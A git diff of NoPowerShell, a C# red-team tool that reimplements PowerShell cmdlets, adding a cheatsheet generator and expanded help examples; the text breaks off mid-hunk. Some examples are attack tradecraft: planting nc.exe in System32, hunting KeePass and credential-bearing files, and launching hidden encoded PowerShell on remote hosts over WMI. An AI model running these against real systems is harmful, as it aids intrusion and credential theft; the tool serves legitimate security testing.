Archive | Requires .NET 4.5+ | +| Get-ADUser | ActiveDirectory | | | Get-Whoami | Additional | whoami.exe /ALL is not implemented yet | | Get-RemoteSmbShare | Additional | | -| Get-Command | Core | | -| Get-Help | Core | | +| Expand-Archive | Archive | Requires .NET 4.5+ | +| Compress-Archive | Archive | Requires .NET 4.5+ | | Where-Object | Core | | +| Get-Help | Core | | +| Get-Command | Core | | | Resolve-DnsName | DnsClient | | -| Get-LocalGroup | LocalAccounts | | | Get-LocalGroupMember | LocalAccounts | | +| Get-LocalGroup | LocalAccounts | | | Get-LocalUser | LocalAccounts | | -| Copy-Item | Management | | -| Get-ChildItem | Management | | +| Get-PSDrive | Management | | | Get-Content | Management | | -| Get-ItemProperty | Management | | +| Get-HotFix | Management | | +| Get-ChildItem | Management | | +| Get-WmiObject | Management | | | Get-Process | Management | | | Stop-Process | Management | | -| Get-PSDrive | Management | | -| Get-WmiObject | Management | | -| Get-HotFix| Management | | -| Invoke-WmiMethod | Management | Quick & dirty implementation | +| Get-ComputerInfo | Management | | +| Invoke-WmiMethod | Management | | | Remove-Item | Management | | -| Get-ComputerInfo | Management | Few fields still need to be added to mimic systeminfo.exe | -| Get-NetIPAddress | NetTCPIP | | -| Get-NetRoute | NetTCPIP | | +| Get-ItemProperty | Management | | +| Copy-Item | Management | | | Test-NetConnection | NetTCPIP | | | Get-NetNeighbor | NetTCPIP | No support for IPv6 yet | +| Get-NetRoute | NetTCPIP | | +| Get-NetIPAddress | NetTCPIP | | +| Get-SmbShare | SmbShare | | | Get-SmbMapping | SmbShare | | -| Format-List | Utility | | +| Measure-Object | Utility | | +| Invoke-WebRequest | Utility | | +| Select-Object | Utility | | +| Sort-Object | Utility | | | Format-Table | Utility | | -| Invoke-WebRequest | Utility | -| Measure-Object | Utility | -| Select-Object | Utility | +| Format-List | Utility | | +| Export-Csv | Utility | | # Acknowledgements Various NoPowerShell cmdlets and NoPowerShell DLL include code created by other developers. diff --git a/Source/NoPowerShell/Commands/Archive/CompressArchiveCommand.cs b/Source/NoPowerShell/Commands/Archive/CompressArchiveCommand.cs index 69d3738..a7ebd86 100644 --- a/Source/NoPowerShell/Commands/Archive/CompressArchiveCommand.cs +++ b/Source/NoPowerShell/Commands/Archive/CompressArchiveCommand.cs @@ -4,6 +4,7 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; using System; +using System.Collections.Generic; using System.IO; using System.IO.Compression; @@ -112,7 +113,15 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("Compress folder to zip", "Compress-Archive -Path C:\\MyFolder -DestinationPath C:\\MyFolder.zip"), + new ExampleEntry + ( + "Compress folder to zip", + new List() + { + "Compress-Archive -Path C:\\MyFolder -DestinationPath C:\\MyFolder.zip", + "zip C:\\MyFolder C:\\MyFolder.zip" + } + ) }; } } diff --git a/Source/NoPowerShell/Commands/Archive/ExpandArchiveCommand.cs b/Source/NoPowerShell/Commands/Archive/ExpandArchiveCommand.cs index da10fcf..5005c61 100644 --- a/Source/NoPowerShell/Commands/Archive/ExpandArchiveCommand.cs +++ b/Source/NoPowerShell/Commands/Archive/ExpandArchiveCommand.cs @@ -3,6 +3,7 @@ #else using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; using System.IO; using System.IO.Compression; @@ -82,8 +83,16 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("Extract zip", "Expand-Archive -Path C:\\MyArchive.zip -DestinationPath C:\\Extracted"), - new ExampleEntry("Extract zip current directory", "unzip C:\\MyArchive.zip"), + new ExampleEntry + ( + "Extract zip", + new List() + { + "Expand-Archive -Path C:\\MyArchive.zip -DestinationPath C:\\Extracted", + "unzip C:\\MyArchive.zip C:\\Extracted" + } + ), + new ExampleEntry("Extract zip into current directory", "unzip C:\\MyArchive.zip"), }; } } diff --git a/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs b/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs index 0da1e8f..5e9b4f2 100644 --- a/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs +++ b/Source/NoPowerShell/Commands/Core/GetCommandCommand.cs @@ -1,6 +1,7 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; using System; +using System.Collections; using System.Collections.Generic; using System.Reflection; @@ -20,8 +21,17 @@ public GetCommandCommand(string[] userArguments) : base(userArguments, Supported public override CommandResult Execute(CommandResult pipeIn) { + // Obtain parameters + bool included = _arguments.Get("_Included").Value; + bool cheatsheet = _arguments.Get("_Cheatsheet").Value; + string moduleFilter = _arguments.Get("Module").Value; + + // Get all commands Dictionary commandTypes = ReflectionHelper.GetCommands(); + // Intialize hashtable for cheatsheet + Hashtable exampletable = new Hashtable(); + // Iterate over all available cmdlets foreach (KeyValuePair commandType in commandTypes) { @@ -44,33 +54,111 @@ public override CommandResult Execute(CommandResult pipeIn) else arguments = new ArgumentList(); + // Hide internal parameters + ArgumentList newarguments = new ArgumentList(); + foreach (Argument arg in arguments) + { + if (!arg.Name.StartsWith("_")) + newarguments.Add(arg); + } + arguments = newarguments; + // Synopsis string strSynopsis = null; PropertyInfo synopsisProperty = commandType.Key.GetProperty("Synopsis", BindingFlags.Static | BindingFlags.Public); if (synopsisProperty != null) strSynopsis = (string)synopsisProperty.GetValue(null, null); + // Arguments string strArguments = GetArguments(arguments); + + // Aliases string strAliases = string.Join(", ", aliases.GetRange(1, aliases.Count - 1).ToArray()); + // Module + string module = commandType.Key.Namespace.Replace("NoPowerShell.Commands.", string.Empty); + if (!string.IsNullOrEmpty(moduleFilter) && moduleFilter.ToLowerInvariant() != module.ToLowerInvariant()) + continue; + + // Store examples to generate the cheatsheet + if (cheatsheet) + { + PropertyInfo examplesProperty = commandType.Key.GetProperty("Examples", BindingFlags.Static | BindingFlags.Public); + ExampleEntries examples = (examplesProperty != null) ? (ExampleEntries)examplesProperty.GetValue(null, null) : null; + exampletable[commandName] = examples; + } + _results.Add( new ResultRecord() { { "Command", string.Format("{0} {1}", commandName, strArguments) }, { "Aliases", strAliases }, { "Synopsis", strSynopsis }, - { "Module", commandType.Key.Namespace.Replace("NoPowerShell.Commands.",string.Empty) } + { "Module", module } } ); } // Organize by module - _results.Sort(delegate(ResultRecord a, ResultRecord b){ + _results.Sort(delegate (ResultRecord a, ResultRecord b) + { return a["Module"].CompareTo(b["Module"]); }); + // Generate markdown of all available commands + // Make sure to run this having the project compiled as .NET 4.5 to include all commands + if (included) + { + Console.WriteLine("| Cmdlet | Module | Notes |\r\n| - | - | - |"); + + foreach (ResultRecord r in _results) + { + Console.WriteLine("| {0} | {1} | |", r["Command"].Split(new char[] { ' ' })[0], r["Module"]); + } + + Console.WriteLine("\r\n\r\nTotal: {0}", _results.Count); + + return null; + } + + // Generate cheatsheet markdown + if (cheatsheet) + { + Console.WriteLine("| Action | Command | Alternative |\r\n| - | - | - |"); + + foreach (ResultRecord r in _results) + { + string cmdlet = r["Command"].Split(new char[] { ' ' })[0]; + ExampleEntries examples = (ExampleEntries)exampletable[cmdlet]; + + foreach (ExampleEntry example in examples) + { + List examplestrings = new List(example.Examples.Count); + foreach (string ex in example.Examples) + examplestrings.Add(ex.Replace("|", "\\|")); + + // Alternative(s) + string alt = null; + if (examplestrings.Count > 1) + { + //string format = "Alternative: `{0}`"; + + //if (examplestrings.Count > 2) + // format = "Alternatives: `{0}`"; + + List alternatives = examplestrings.GetRange(1, example.Examples.Count - 1); + alt = string.Format("`{0}`", string.Join("`, `", alternatives.ToArray())); + } + + Console.WriteLine("| {0} | `{1}` | {2} |", example.Description, examplestrings[0], alt); + } + } + + return null; + } + // Remove Module attribute - foreach(ResultRecord r in _results) + foreach (ResultRecord r in _results) { r.Remove("Module"); } @@ -122,6 +210,9 @@ public static string GetArguments(ArgumentList arguments) { return new ArgumentList() { + new BoolArgument ("_Included"), + new BoolArgument ("_Cheatsheet"), + new StringArgument ("Module"), }; } } @@ -137,7 +228,8 @@ public static string GetArguments(ArgumentList arguments) { return new ExampleEntries() { - new ExampleEntry("List all commands supported by NoPowerShell", "Get-Command") + new ExampleEntry("List all commands supported by NoPowerShell", "Get-Command"), + new ExampleEntry("List commands of a certain module", "Get-Command -Module ActiveDirectory") }; } } diff --git a/Source/NoPowerShell/Commands/Core/GetHelpCommand.cs b/Source/NoPowerShell/Commands/Core/GetHelpCommand.cs index 0c3493b..2314f2a 100644 --- a/Source/NoPowerShell/Commands/Core/GetHelpCommand.cs +++ b/Source/NoPowerShell/Commands/Core/GetHelpCommand.cs @@ -55,6 +55,15 @@ public override CommandResult Execute(CommandResult pipeIn) PropertyInfo argumentsProperty = command.GetProperty("SupportedArguments", BindingFlags.Static | BindingFlags.Public); ArgumentList supportedArguments = (argumentsProperty != null) ? (ArgumentList)argumentsProperty.GetValue(null, null) : null; + // Hide internal parameters + ArgumentList newarguments = new ArgumentList(); + foreach (Argument arg in supportedArguments) + { + if (!arg.Name.StartsWith("_")) + newarguments.Add(arg); + } + supportedArguments = newarguments; + // Synopsis PropertyInfo synopsisProperty = command.GetProperty("Synopsis", BindingFlags.Static | BindingFlags.Public); string synopsis = (synopsisProperty != null) ? (string)synopsisProperty.GetValue(null, null) : null; diff --git a/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs b/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs index 4643cdf..37a1f61 100644 --- a/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs +++ b/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs @@ -97,9 +97,9 @@ public override CommandResult Execute(CommandResult pipeIn) { "Resolve-DnsName microsoft.com", "host linux.org", - "Resolve-DnsName -Type MX pm.me" } ), + new ExampleEntry("Lookup specific record", "Resolve-DnsName -Type MX pm.me"), new ExampleEntry("Reverse DNS lookup", "Resolve-DnsName 1.1.1.1") }; } diff --git a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupCommand.cs b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupCommand.cs index d8349cb..91ade0f 100644 --- a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupCommand.cs +++ b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; /* Author: @bitsadmin @@ -63,7 +64,16 @@ public override CommandResult Execute(CommandResult pipeIn) return new ExampleEntries() { new ExampleEntry("List all local groups", "Get-LocalGroup"), - new ExampleEntry("List details of a specific group", "Get-LocalGroup Administrators") + new ExampleEntry("List details of a specific group", "Get-LocalGroup Administrators"), + new ExampleEntry + ( + "List members of Administrators group on a remote computer using WMI", + new List() + { + "Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators", + "Get-LocalGroup -ComputerName Myserver -Name Administrators" + } + ) }; } } diff --git a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs index 2131b17..3eda925 100644 --- a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs +++ b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs @@ -194,7 +194,7 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("List all members of the Administrators group", "Get-LocalGroupMember -Group Administrators") + new ExampleEntry("List all active members of the Administrators group", "Get-LocalGroupMember -Group Administrators | ? Disabled -eq False") }; } } diff --git a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalUserCommand.cs b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalUserCommand.cs index c75dd7f..87ae2de 100644 --- a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalUserCommand.cs +++ b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalUserCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; /* Author: @bitsadmin @@ -63,7 +64,24 @@ public override CommandResult Execute(CommandResult pipeIn) return new ExampleEntries() { new ExampleEntry("List all local users", "Get-LocalUser"), - new ExampleEntry("List details of a specific user", "Get-LocalUser Administrator") + new ExampleEntry + ( + "List details of a specific user", + new List() + { + "Get-LocalUser -Name Administrator", + "Get-LocalUser Administrator" + } + ), + new ExampleEntry + ( + "List details of a specific user on a remote machine using WMI", + new List() + { + "Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator", + "Get-LocalUser -ComputerName MyServer Administrator" + } + ) }; } } diff --git a/Source/NoPowerShell/Commands/Management/CopyItemCommand.cs b/Source/NoPowerShell/Commands/Management/CopyItemCommand.cs index b03dc3e..e2048b4 100644 --- a/Source/NoPowerShell/Commands/Management/CopyItemCommand.cs +++ b/Source/NoPowerShell/Commands/Management/CopyItemCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; using System.IO; /* @@ -104,7 +105,15 @@ private static void DirectoryCopy(string sourceDirName, string destDirName, bool { return new ExampleEntries() { - new ExampleEntry("Copy file from one location to another", "copy C:\\Tmp\\nc.exe C:\\Windows\\System32\\nc.exe"), + new ExampleEntry + ( + "Copy file from one location to another", + new List() + { + "Copy-Item C:\\Tmp\\nc.exe C:\\Windows\\System32\\nc.exe", + "copy C:\\Tmp\\nc.exe C:\\Windows\\System32\\nc.exe", + } + ), new ExampleEntry("Copy folder", "copy C:\\Tmp\\MyFolder C:\\Tmp\\MyFolderBackup") }; } diff --git a/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs b/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs index 979759d..1aa032b 100644 --- a/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs @@ -144,7 +144,7 @@ public static CommandResult BrowseFilesystem(string path, bool recurse, int dept } catch (UnauthorizedAccessException) { - Console.WriteLine("Unauthorized to access \"{0}\"", path); + Program.WriteError("Access to the path '{0}' is denied.", path); return results; } @@ -262,9 +262,17 @@ private static string GetModeFlags(FileSystemInfo f) { return new ExampleEntries() { - new ExampleEntry("Locate KeePass files in the C:\\Users\\ directory", "ls -Recurse -Force C:\\Users\\ -Include *.kdbx"), + new ExampleEntry + ( + "Locate KeePass files in the C:\\Users\\ directory", + new List() + { + "Get-ChildItem -Recurse -Force C:\\Users\\ -Include *.kdbx", + "ls -Recurse -Force C:\\Users\\ -Include *.kdbx" + } + ), new ExampleEntry("List the keys under the SOFTWARE key in the registry", "ls HKLM:\\SOFTWARE"), - new ExampleEntry("Search for scripts on the C-drive", "ls -Recurse -Force C:\\ -Include *.cmd,*.bat,*.ps1"), + new ExampleEntry("Search for files which can contain sensitive data on the C-drive", "ls -Recurse -Force C:\\ -Include *.xml,*.ini,*.txt,*.cmd,*.bat,*.conf,*.config,*.log,*.reg,*.ps1,*.psm1,*.psd1,*.ps1xml,*.psc1,*.rdp,*.rdg,*.url,*.sql"), }; } } diff --git a/Source/NoPowerShell/Commands/Management/GetComputerInfoCommand.cs b/Source/NoPowerShell/Commands/Management/GetComputerInfoCommand.cs index 3e333f9..9e62478 100644 --- a/Source/NoPowerShell/Commands/Management/GetComputerInfoCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetComputerInfoCommand.cs @@ -171,8 +171,25 @@ private static Match MatchDate(ResultRecord result, string key) { return new ExampleEntries() { - new ExampleEntry("Show information about the system", "systeminfo"), - new ExampleEntry("Show information about the system not listing patches", "systeminfo -Simple") + new ExampleEntry + ( + "Show information about the system", + new List() + { + "Get-ComputerInfo", + "systeminfo" + } + ), + new ExampleEntry("Show information about the system not listing patches", "systeminfo -Simple"), + new ExampleEntry + ( + "Show information about a remote machine using WMI", + new List() + { + "Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword", + "Get-ComputerInfo -ComputerName MyServer" + } + ), }; } } diff --git a/Source/NoPowerShell/Commands/Management/GetContentCommand.cs b/Source/NoPowerShell/Commands/Management/GetContentCommand.cs index ef39eed..53a0395 100644 --- a/Source/NoPowerShell/Commands/Management/GetContentCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetContentCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; using System.IO; /* @@ -58,7 +59,15 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("View contents of a file", "Get-Content C:\\Windows\\WindowsUpdate.log") + new ExampleEntry + ( + "View contents of a file", + new List() + { + "Get-Content C:\\Windows\\WindowsUpdate.log", + "cat C:\\Windows\\WindowsUpdate.log" + } + ) }; } } diff --git a/Source/NoPowerShell/Commands/Management/GetHotFixCommand.cs b/Source/NoPowerShell/Commands/Management/GetHotFixCommand.cs index 13524c3..b839c29 100644 --- a/Source/NoPowerShell/Commands/Management/GetHotFixCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetHotFixCommand.cs @@ -22,7 +22,7 @@ public override CommandResult Execute(CommandResult pipeIn) // Collect parameters for remote execution base.Execute(); - CommandResult wmiHotfixes = WmiHelper.ExecuteWmiQuery("Select CSName,Description,HotFixID,InstalledBy,InstalledOn From Win32_QuickFixEngineering", computername, username,password); + CommandResult wmiHotfixes = WmiHelper.ExecuteWmiQuery("Select CSName,Description,HotFixID,InstalledBy,InstalledOn From Win32_QuickFixEngineering", computername, username, password); foreach (ResultRecord hotfix in wmiHotfixes) { _results.Add( @@ -66,20 +66,14 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { + new ExampleEntry("Get all hotfixes on the local computer", "Get-HotFix"), new ExampleEntry ( - "Get all hotfixes on the local computer", + "Get all hotfixes from a remote computer using WMI", new List() { - "Get-HotFix" - } - ), - new ExampleEntry - ( - "Get all hotfixes from a remote computer", - new List() - { - "Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd" + "Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd", + "Get-HotFix -ComputerName MyServer" } ) }; diff --git a/Source/NoPowerShell/Commands/Management/GetPSDriveCommand.cs b/Source/NoPowerShell/Commands/Management/GetPSDriveCommand.cs index cc997f4..441236c 100644 --- a/Source/NoPowerShell/Commands/Management/GetPSDriveCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetPSDriveCommand.cs @@ -10,7 +10,7 @@ License: BSD 3-Clause */ -namespace NoPowerShell.Commands +namespace NoPowerShell.Commands.Management { public class GetPSDriveCommand : PSCommand { diff --git a/Source/NoPowerShell/Commands/Management/GetProcessCommand.cs b/Source/NoPowerShell/Commands/Management/GetProcessCommand.cs index 01e273c..0b89002 100644 --- a/Source/NoPowerShell/Commands/Management/GetProcessCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetProcessCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; using System.Text; /* @@ -88,8 +89,24 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("List processes", "Get-Process"), - new ExampleEntry("List processes on remote host", "Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!") + new ExampleEntry + ( + "List processes", + new List() + { + "Get-Process", + "ps" + } + ), + new ExampleEntry + ( + "List processes on remote host using WMI", + new List() + { + "Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!", + "ps -ComputerName dc01.corp.local" + } + ) }; } } diff --git a/Source/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs b/Source/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs index 8caa2de..5610a58 100644 --- a/Source/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs @@ -81,7 +81,15 @@ public override CommandResult Execute(CommandResult pipeIn) "gwmi -Class Win32_Share -Filter \"Name LIKE '%$'\"" } ), - new ExampleEntry("Obtain data of Win32_Process class from a remote system and apply a filter on the output", "gwmi \"Select ProcessId,Name,CommandLine From Win32_Process\" -ComputerName dc01.corp.local | ? Name -Like *PowerShell* | select ProcessId,CommandLine"), + new ExampleEntry + ( + "Obtain data of Win32_Process class from a remote system and apply a filter on the output", + new List() + { + "Get-WmiObject \"Select ProcessId,Name,CommandLine From Win32_Process\" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword | ? Name -Like *PowerShell* | select ProcessId,CommandLine", + "gwmi \"Select ProcessId,Name,CommandLine From Win32_Process\" -ComputerName dc01.corp.local | ? Name -Like *PowerShell* | select ProcessId,CommandLine" + } + ), new ExampleEntry("View details about a certain service", "Get-WmiObject -Class Win32_Service -Filter \"Name = 'WinRM'\"") }; } diff --git a/Source/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs b/Source/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs index c116c12..645d3b0 100644 --- a/Source/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs +++ b/Source/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; /* Author: @bitsadmin @@ -62,7 +63,16 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("Launch process using WMI", "Invoke-WmiMethod -Class Win32_Process -Name Create \"cmd /c calc.exe\"") + new ExampleEntry("Launch process", "Invoke-WmiMethod -Class Win32_Process -Name Create \"cmd /c calc.exe\""), + new ExampleEntry + ( + "Launch process on remote system", + new List() + { + "Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create \"powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA==\"", + "iwmi -ComputerName MyServer -Class Win32_Process -Name Create \"powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA==\"" + } + ), }; } } diff --git a/Source/NoPowerShell/Commands/Management/RemoveItemCommand.cs b/Source/NoPowerShell/Commands/Management/RemoveItemCommand.cs index 651d63e..62b1364 100644 --- a/Source/NoPowerShell/Commands/Management/RemoveItemCommand.cs +++ b/Source/NoPowerShell/Commands/Management/RemoveItemCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; using System.IO; /* @@ -110,6 +111,15 @@ private static void DirectoryDelete(string dirName, bool recurse, bool force) { return new ExampleEntries() { + new ExampleEntry + ( + "Delete a file", + new List() + { + "Remove-Item C:\\tmp\\MyFile.txt", + "rm C:\\tmp\\MyFile.txt" + } + ), new ExampleEntry("Delete a read-only file", "Remove-Item -Force C:\\Tmp\\MyFile.txt"), new ExampleEntry("Recursively delete a folder", "Remove-Item -Recurse C:\\Tmp\\MyTools\\") }; diff --git a/Source/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs b/Source/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs index 62df6be..f8197a5 100644 --- a/Source/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs +++ b/Source/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs @@ -77,7 +77,24 @@ public override CommandResult Execute(CommandResult pipeIn) "ifconfig" } ), - new ExampleEntry("Show all network interfaces", "Get-NetIPAddress -All") + new ExampleEntry + ( + "Show all network interfaces", + new List() + { + "Get-NetIPAddress -All", + "ipconfig -All" + } + ), + new ExampleEntry + ( + "Show all network interfaces on a remote machine using WMI", + new List() + { + "Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword", + "Get-NetIPAddress -All -ComputerName MyServer" + } + ) }; } } diff --git a/Source/NoPowerShell/Commands/NetTCPIP/GetNetNeighborCommand.cs b/Source/NoPowerShell/Commands/NetTCPIP/GetNetNeighborCommand.cs index 1b54633..7825610 100644 --- a/Source/NoPowerShell/Commands/NetTCPIP/GetNetNeighborCommand.cs +++ b/Source/NoPowerShell/Commands/NetTCPIP/GetNetNeighborCommand.cs @@ -13,7 +13,7 @@ // Most of this source originates from https://stackoverflow.com/a/1148861 by Rex Logan -namespace NoPowerShell.Commands +namespace NoPowerShell.Commands.NetTCPIP { public class GetNetNeighborCommand : PSCommand { diff --git a/Source/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs b/Source/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs index 5ba051c..07a88b3 100644 --- a/Source/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs +++ b/Source/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; /* Author: @bitsadmin @@ -54,7 +55,24 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("Show the IP routing table", "Get-NetRoute") + new ExampleEntry + ( + "Show the IP routing table", + new List() + { + "Get-NetRoute", + "route" + } + ), + new ExampleEntry + ( + "Show the IP routing table on a remote machine using WMI", + new List() + { + "Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword", + "route -ComputerName MyServer" + } + ) }; } } diff --git a/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs b/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs index 92a24f3..b02e2e9 100644 --- a/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs +++ b/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs @@ -263,8 +263,17 @@ private static CommandResult PerformTraceroute(string ip, string computerName, i { return new ExampleEntries() { + new ExampleEntry + ( + "Send ICMP request to host", + new List() + { + "Test-NetConnection 1.1.1.1", + "tnc 1.1.1.1" + } + ), new ExampleEntry("Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout", "Test-NetConnection -Count 2 -Timeout 500 1.1.1.1"), - new ExampleEntry("Perform a traceroute with a timeout of 1 second and a maximum of 20 hops", "Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 google.com"), + new ExampleEntry("Perform a traceroute with a timeout of 1 second and a maximum of 20 hops", "Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in"), new ExampleEntry("Perform ping with maximum TTL specified", "ping -TTL 32 1.1.1.1"), new ExampleEntry("Check for open port", "tnc bitsadm.in -Port 80") }; diff --git a/Source/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs b/Source/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs index d35bed6..7af1a3d 100644 --- a/Source/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs +++ b/Source/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; /* Author: @bitsadmin @@ -53,7 +54,15 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("List network shares on the local machine that are exposed to the network", "Get-SmbMapping"), + new ExampleEntry + ( + "List network shares on the local machine that are exposed to the network", + new List() + { + "Get-SmbMapping", + "netuse" + } + ) }; } } diff --git a/Source/NoPowerShell/Commands/Utility/FormatListCommand.cs b/Source/NoPowerShell/Commands/Utility/FormatListCommand.cs index f80ac27..fd35f26 100644 --- a/Source/NoPowerShell/Commands/Utility/FormatListCommand.cs +++ b/Source/NoPowerShell/Commands/Utility/FormatListCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; /* Author: @bitsadmin @@ -79,7 +80,15 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("Format output as a list", "Get-LocalUser | fl"), + new ExampleEntry + ( + "Format output as a list", + new List() + { + "Get-LocalUser | Format-List", + "Get-LocalUser | fl" + } + ), new ExampleEntry("Format output as a list showing only specific attributes", "Get-LocalUser | fl Name,Description"), }; } diff --git a/Source/NoPowerShell/Commands/Utility/FormatTableCommand.cs b/Source/NoPowerShell/Commands/Utility/FormatTableCommand.cs index 7e61598..e0507c8 100644 --- a/Source/NoPowerShell/Commands/Utility/FormatTableCommand.cs +++ b/Source/NoPowerShell/Commands/Utility/FormatTableCommand.cs @@ -1,5 +1,6 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; +using System.Collections.Generic; /* Author: @bitsadmin @@ -79,7 +80,15 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("Format output as a table", "Get-Process | ft"), + new ExampleEntry + ( + "Format output as a table", + new List() + { + "Get-Process | Format-Table", + "Get-Process | ft" + } + ), new ExampleEntry("Format output as a table showing only specific attributes", "Get-Process | ft ProcessId,Name"), }; } diff --git a/Source/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs b/Source/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs index 1247e07..7a8da52 100644 --- a/Source/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs +++ b/Source/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs @@ -1,6 +1,7 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; using System; +using System.Collections.Generic; using System.IO; using System.Net; @@ -72,7 +73,14 @@ public override CommandResult Execute(CommandResult pipeIn) { return new 